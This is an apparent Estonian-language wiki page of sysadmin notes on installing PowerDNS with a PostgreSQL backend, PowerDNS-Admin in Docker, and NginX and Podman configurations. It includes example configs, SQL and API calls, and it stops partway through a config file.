* Docker Community Edition&lt;br /&gt;
* PostgreSQL v. 12&lt;br /&gt;
* NginX&lt;br /&gt;
&lt;br /&gt;
PostgreSQL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-common&lt;br /&gt;
root@pdns:/tmp# mkdir /etc/postgresql-common/createcluster.d&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;initdb_options = '--data-checksums'&amp;quot; &amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;create_main_cluster = false&amp;quot; &amp;gt;&amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-16&lt;br /&gt;
root@pdns:/tmp# pg_createcluster --locale en_US.UTF-8 16 pgcluster_pdns_prod&lt;br /&gt;
 &lt;br /&gt;
postgres=# \x&lt;br /&gt;
Expanded display is on.&lt;br /&gt;
postgres=# \l postgres&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+------------&lt;br /&gt;
Name              | postgres&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
ICU Locale        | &lt;br /&gt;
ICU Rules         | &lt;br /&gt;
Access privileges | &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pdns login;&lt;br /&gt;
sql&amp;gt; \password pdns&lt;br /&gt;
sql&amp;gt; create database db_pdns owner = pdns;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pda login;&lt;br /&gt;
sql&amp;gt; \password pda&lt;br /&gt;
sql&amp;gt; create database db_pda owner = pda;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS paigaldamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS ise ja tema tööks otseselt vajalikud komponendid (nt PostgreSQL andmebaas) töötavad nö tavalisel viisil operatsioonisüsteemi protsesside-teenustena st mitte-konteineritena.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install pdns-server pdns-backend-pgsql pdns-tools&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitatakse pdns server ja tema bind backend.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
PostgreSQL backend kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
Password for user pdns: &lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Baasi ligipääs jms kirjeldatakse failis, https://doc.powerdns.com/authoritative/backends/generic-postgresql.html#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# egrep -v &amp;quot;^#|^$&amp;quot; /etc/powerdns/pdns.d/gpgsql.conf&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dbname=db_pdns&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-host=127.0.0.1&lt;br /&gt;
gpgsql-password=parool&lt;br /&gt;
gpgsql-port=5432&lt;br /&gt;
gpgsql-user=pdns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
bind eemaldamiseks sobib kustutada fail&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/powerdns/pdns.d/bind.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab pdns server, gpgsql backendiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2024-06-16T16:44:00.877817+03:00 pdns systemd[1]: Starting pdns.service - PowerDNS Authoritative Server...&lt;br /&gt;
2024-06-16T16:44:00.906026+03:00 pdns pdns_server[3916]: Loading '/usr/lib/x86_64-linux-gnu/pdns/libgpgsqlbackend.so'&lt;br /&gt;
2024-06-16T16:44:00.906356+03:00 pdns pdns_server[3916]: This is a standalone pdns&lt;br /&gt;
2024-06-16T16:44:00.906408+03:00 pdns pdns_server[3916]: Listening on controlsocket in '/run/pdns/pdns.controlsocket'&lt;br /&gt;
2024-06-16T16:44:00.906668+03:00 pdns pdns_server[3916]: UDP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906684+03:00 pdns pdns_server[3916]: UDP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906735+03:00 pdns pdns_server[3916]: TCP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906750+03:00 pdns pdns_server[3916]: TCP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906866+03:00 pdns pdns_server[3916]: PowerDNS Authoritative Server 4.9.1 (C) PowerDNS.COM BV&lt;br /&gt;
2024-06-16T16:44:00.906881+03:00 pdns pdns_server[3916]: Using 64-bits mode. Built using gcc 12.2.0 on May 28 2024 07:46:05 by root@localhost.&lt;br /&gt;
2024-06-16T16:44:00.906891+03:00 pdns pdns_server[3916]: PowerDNS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it according to the terms of the GPL version 2.&lt;br /&gt;
2024-06-16T16:44:00.915255+03:00 pdns pdns_server[3916]: Polled security status of version 4.9.1 at startup, no known issues reported: OK&lt;br /&gt;
2024-06-16T16:44:00.926644+03:00 pdns pdns_server[3916]: Creating backend connection for TCP&lt;br /&gt;
2024-06-16T16:44:00.935773+03:00 pdns pdns_server[3916]: About to create 3 backend threads for UDP&lt;br /&gt;
2024-06-16T16:44:00.935850+03:00 pdns systemd[1]: Started pdns.service - PowerDNS Authoritative Server.&lt;br /&gt;
2024-06-16T16:44:01.086206+03:00 pdns pdns_server[3916]: Done launching threads, ready to distribute questions&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ühtegi tsooni ei ole kirjeldatud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# pdnsutil list-all-zones&lt;br /&gt;
root@pdns:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS seadistamine====&lt;br /&gt;
&lt;br /&gt;
Seadistamisel tegeldakse&lt;br /&gt;
&lt;br /&gt;
* api sisselülitamine (PDA jaoks)&lt;br /&gt;
* SOA kirje vaikeväärtused&lt;br /&gt;
* DNSSEC vaike krüpto&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - PDA - docker====&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin tarvkara töötab docker konteinerina, aga kasutab host arvutist postgresql andmebaasi. Platvorm ettevalmistamine punktis on vajalik kasutaja ja create database tekitatud. PDA kasutamine eeldab, et PDNS juures on sisse lülitatud api liides (vaikimisi http liiklus üle port 8081).&lt;br /&gt;
&lt;br /&gt;
Docker compose fail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# cat docker-compose-pda.yml&lt;br /&gt;
services:&lt;br /&gt;
  svc_pda:&lt;br /&gt;
    image: powerdnsadmin/pda-legacy:v0.4.2&lt;br /&gt;
     &lt;br /&gt;
    container_name: cn_pda&lt;br /&gt;
    restart: always&lt;br /&gt;
    logging:&lt;br /&gt;
      driver: json-file&lt;br /&gt;
      options:&lt;br /&gt;
        max-size: 50m&lt;br /&gt;
    ports:&lt;br /&gt;
      - &amp;quot;9191:80&amp;quot;&lt;br /&gt;
    environment:&lt;br /&gt;
      - SECRET_KEY='saladus'&lt;br /&gt;
      - SQLALCHEMY_DATABASE_URI=postgresql://pda:pdaparool@192.168.10.53/pda&lt;br /&gt;
      - GUNICORN_TIMEOUT=60&lt;br /&gt;
      - GUNICORN_WORKERS=2&lt;br /&gt;
      - GUNICORN_LOGLEVEL=DEBUG&lt;br /&gt;
      - OFFLINE_MODE=False&lt;br /&gt;
      - CSRF_COOKIE_SECURE=False&lt;br /&gt;
 &lt;br /&gt;
    networks:&lt;br /&gt;
      - nw_pda&lt;br /&gt;
       &lt;br /&gt;
networks:&lt;br /&gt;
  nw_pda:&lt;br /&gt;
    name: nw_pda&lt;br /&gt;
    driver: bridge&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # docker compose -f docker-compose-pda.yml up -d&lt;br /&gt;
&lt;br /&gt;
Tulemusena on aadressil http://192.168.10.53:9191/ PDA webgui sisselogimise ekraan. Pressida Create Account ja esimesena tekitatud kasutaja on admin privileegidega.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX operatsioonisüsteem====&lt;br /&gt;
&lt;br /&gt;
NginX https:// frontend kasutamiseks sobib kasutada sellist seadistust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/etc/nginx/sites-enabled# cat /etc/nginx/sites-enabled/pdns &lt;br /&gt;
server {&lt;br /&gt;
    listen 80;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    if ($request_uri !~ /.well-known) {&lt;br /&gt;
      return 301 https://pdns.moraal.ee/;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
server {&lt;br /&gt;
    listen 443 ssl http2;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    ssl_certificate /etc/ssl/localcerts/pdns.moraal.ee.pem;&lt;br /&gt;
    ssl_certificate_key /etc/ssl/localcerts/pdns.moraal.ee.key;&lt;br /&gt;
    ssl_session_timeout 1d;&lt;br /&gt;
    ssl_session_cache shared:MozSSL:10m;&lt;br /&gt;
    ssl_session_tickets off;&lt;br /&gt;
    ssl_protocols TLSv1.2 TLSv1.3;&lt;br /&gt;
    ssl_prefer_server_ciphers off;&lt;br /&gt;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;&lt;br /&gt;
 &lt;br /&gt;
    client_max_body_size 25m;&lt;br /&gt;
 &lt;br /&gt;
    ssl_stapling off;&lt;br /&gt;
    add_header Strict-Transport-Security &amp;quot;max-age=63072000&amp;quot; always;&lt;br /&gt;
 &lt;br /&gt;
    access_log /var/log/nginx/access-pdns.moraal.ee-443.log;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    location / {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto https;&lt;br /&gt;
      proxy_pass http://192.168.10.53:9191;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX docker====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /srv/pdns/volume/nginx/etc/nginx/nginx.conf&lt;br /&gt;
# nginx.conf&lt;br /&gt;
&lt;br /&gt;
user nginx;&lt;br /&gt;
worker_processes auto;&lt;br /&gt;
error_log /dev/stderr;&lt;br /&gt;
pid /var/run/nginx.pid;&lt;br /&gt;
&lt;br /&gt;
events {&lt;br /&gt;
    worker_connections 1024;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
http {&lt;br /&gt;
    include       mime.types;&lt;br /&gt;
    default_type  application/octet-stream;&lt;br /&gt;
&lt;br /&gt;
    log_format  main  '$remote_addr - $remote_user [$time_local] &amp;quot;$request&amp;quot; '&lt;br /&gt;
                      '$status $body_bytes_sent &amp;quot;$http_referer&amp;quot; '&lt;br /&gt;
                      '&amp;quot;$http_user_agent&amp;quot; &amp;quot;$http_x_forwarded_for&amp;quot;';&lt;br /&gt;
    access_log /dev/stdout main;&lt;br /&gt;
&lt;br /&gt;
    sendfile        on;&lt;br /&gt;
    keepalive_timeout  65;&lt;br /&gt;
&lt;br /&gt;
    # Redirect HTTP to HTTPS&lt;br /&gt;
    server {&lt;br /&gt;
        listen 80;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        return 301 https://$host$request_uri;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    # HTTPS Configuration&lt;br /&gt;
    server {&lt;br /&gt;
        listen 443 ssl;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        http2 on;&lt;br /&gt;
        ssl_protocols TLSv1.3;&lt;br /&gt;
        ssl_prefer_server_ciphers on;&lt;br /&gt;
&lt;br /&gt;
        ssl_certificate /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.crt;&lt;br /&gt;
        ssl_certificate_key /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.key;&lt;br /&gt;
&lt;br /&gt;
        # Recommended security settings&lt;br /&gt;
        ssl_session_cache shared:SSL:10m;&lt;br /&gt;
        ssl_session_timeout 10m;&lt;br /&gt;
        ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305;&lt;br /&gt;
&lt;br /&gt;
        # Logging&lt;br /&gt;
        access_log /dev/stdout;&lt;br /&gt;
        error_log /dev/stdout;&lt;br /&gt;
&lt;br /&gt;
        # Reverse proxy to the destination&lt;br /&gt;
        location / {&lt;br /&gt;
            proxy_pass http://svc_pdns:8081;&lt;br /&gt;
            proxy_set_header Host $host;&lt;br /&gt;
            proxy_set_header X-Real-IP $remote_addr;&lt;br /&gt;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&lt;br /&gt;
            proxy_set_header X-Forwarded-Proto $scheme;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab pda webgui poole pöörduda aadressiga https://pdns.moraal.ee/.&lt;br /&gt;
&lt;br /&gt;
PDA kasutaja parooli muutmine postgresql baasis, nb rakendus kasutab tabeli nimena 'user', see on postgresql nö built-in objekt ja name clash ületamiseks tuleb pöörduda rakendusega seotud ressursi poole &amp;quot;user&amp;quot; abil, eriti koos skeemi prefiksiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql db_pda&lt;br /&gt;
pda=# select * from public.&amp;quot;user&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]------------------------------------------------------------&lt;br /&gt;
id         | 1&lt;br /&gt;
username   | admin&lt;br /&gt;
password   | $2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FF&lt;br /&gt;
firstname  | Imre&lt;br /&gt;
lastname   | Oolberg&lt;br /&gt;
email      | imre.oolberg@auul.pri.ee&lt;br /&gt;
otp_secret | &lt;br /&gt;
role_id    | 1&lt;br /&gt;
confirmed  | f&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
db_pda=# update public.&amp;quot;user&amp;quot; set password='$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC' where username='admin';&lt;br /&gt;
UPDATE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures password väärtus tekitatakse nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ htpasswd -bnBC 15 &amp;quot;&amp;quot; pdaparool | tr -d ':\n'&lt;br /&gt;
$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into &amp;quot;user&amp;quot; (username, password, firstname, lastname, email, role_id, confirmed) values ('admin',  '$2b$12$4M9qXQaWn95GTregvSO2v.I/1QQT0/Ayqt3jZsMp06FIa5dMme6Gu', 'Administrator', 'Administrator', 'priit@moraal.ee', 1, 'f');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pdns api kontakti lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_url', 'http://192.168.10.80:8081');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_key', 'apiparool');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_version', '4.9.11');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# select * from setting;&lt;br /&gt;
 id |     name     |         value&lt;br /&gt;
----+--------------+------------------------&lt;br /&gt;
  7 | pdns_api_url | http://192.168.10.80:8081&lt;br /&gt;
  8 | pdns_api_key | apiparool&lt;br /&gt;
  9 | pdns_version | 4.9.11&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA kasutamise privileegid====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Account - grupi taoline moodustis, praktiliselt võiks vastata domeeni omanik asutusele&lt;br /&gt;
* User - kasutaja taoline moodustis, vastab inimesele kes süsteemi kasutab&lt;br /&gt;
* User ja Account vaheliste seoste abil saab anda hulgale kasutajatele õiguse tegeleda hulga domeenidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@rv-xxx-01:/opt/pda/dc# docker exec -ti e8 sh&lt;br /&gt;
/app $ ps aux&lt;br /&gt;
PID   USER     TIME  COMMAND&lt;br /&gt;
    1 pda       0:00 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    7 pda       0:02 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    8 pda       0:01 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
&lt;br /&gt;
[2025-10-31 13:06:25,927] [record.py:61] ERROR - Cannot fetch zone's record data from remote powerdns api. DETAIL: HTTPSConnectionPool(host='rvxxx-01.test.moraal.ee', port=443): Max retries exceeded with url: /api/v1/servers/localhost/zones/imretest-03.ee (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:1007)')))&lt;br /&gt;
&lt;br /&gt;
    volumes:&lt;br /&gt;
        #      - /opt/pda/volume/pda/etc/ssl/certs/ca-certificates.crt:/usr/lib/python3.10/site-packages/certifi/cacert.pem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA API liidese kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tsooni tekitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -s -L -H 'Content-Type: application/json' -H 'Authorization: Basic xxx' -X POST https://pda.moraal.ee/api/v1/pdnsadmin/zones \&lt;br /&gt;
    --data '{&amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;MASTER&amp;quot;, &amp;quot;nameservers&amp;quot;: [&amp;quot;ans1.moraal.ee.&amp;quot;, &amp;quot;ans2.moraal.ee.&amp;quot;]}' | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;account&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;api_rectify&amp;quot;: false,&lt;br /&gt;
  &amp;quot;catalog&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;dnssec&amp;quot;: false,&lt;br /&gt;
  &amp;quot;edited_serial&amp;quot;: 2026010802,&lt;br /&gt;
  &amp;quot;id&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;kind&amp;quot;: &amp;quot;Master&amp;quot;,&lt;br /&gt;
  &amp;quot;last_check&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;master_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;masters&amp;quot;: [],&lt;br /&gt;
  &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;notified_serial&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;nsec3narrow&amp;quot;: false,&lt;br /&gt;
  &amp;quot;nsec3param&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;rrsets&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee. hostmaster.moraal.ee. 2026010801 86400 7200 2419200 10800&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;SOA&amp;quot;&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        },&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans2.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;NS&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
  ],&lt;br /&gt;
  &amp;quot;serial&amp;quot;: 2026010801,&lt;br /&gt;
  &amp;quot;slave_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;soa_edit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;soa_edit_api&amp;quot;: &amp;quot;DEFAULT&amp;quot;,&lt;br /&gt;
  &amp;quot;url&amp;quot;: &amp;quot;/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui pole ligipääsu saab sellise vastuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% curl -s -L -H 'Content-Type: application/json' -H 'X-API-KEY:  xxx' -X GET &amp;quot;https://pda.moraal.ee/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee&amp;quot; | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;msg&amp;quot;: &amp;quot;Zone access not allowed&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns docker lahendus===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf&lt;br /&gt;
allow-axfr-ips=127.0.0.1,192.168.10.0/24&lt;br /&gt;
allow-notify-from=&lt;br /&gt;
allow-unsigned-notify=yes&lt;br /&gt;
also-notify=&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=saladus&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-soa-content=ans1.auu.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
disable-syslog=no&lt;br /&gt;
forward-notify=&lt;br /&gt;
include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
launch=&lt;br /&gt;
local-address=172.30.0.15, 10.30.0.15&lt;br /&gt;
local-port=53&lt;br /&gt;
log-dns-details=yes&lt;br /&gt;
log-dns-queries=yes&lt;br /&gt;
log-timestamp=yes&lt;br /&gt;
loglevel=4&lt;br /&gt;
only-notify=&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=10.30.0.15&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
webserver-loglevel=detailed&lt;br /&gt;
webserver-password=saladus&lt;br /&gt;
webserver-port=8081&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns podman lahendus===&lt;br /&gt;
&lt;br /&gt;
PDNS Quadlet Service kirjeldus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
Environment=PDNS_local_port=8053&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning pdns.conf seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/pdns/volume/pdns/etc/powerdns/pdns.conf&lt;br /&gt;
local-address=0.0.0.0&lt;br /&gt;
launch=&lt;br /&gt;
# include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=parool&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=0.0.0.0&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
#master=yes&lt;br /&gt;
&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
allow-axfr-ips= 100.20.21.0/24,127.0.0.1/32,172.17.0.0/16&lt;br /&gt;
also-notify=192.168.1.150&lt;br /&gt;
only-notify=&lt;br /&gt;
forward-notify=&lt;br /&gt;
default-soa-content=ans1.auul.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
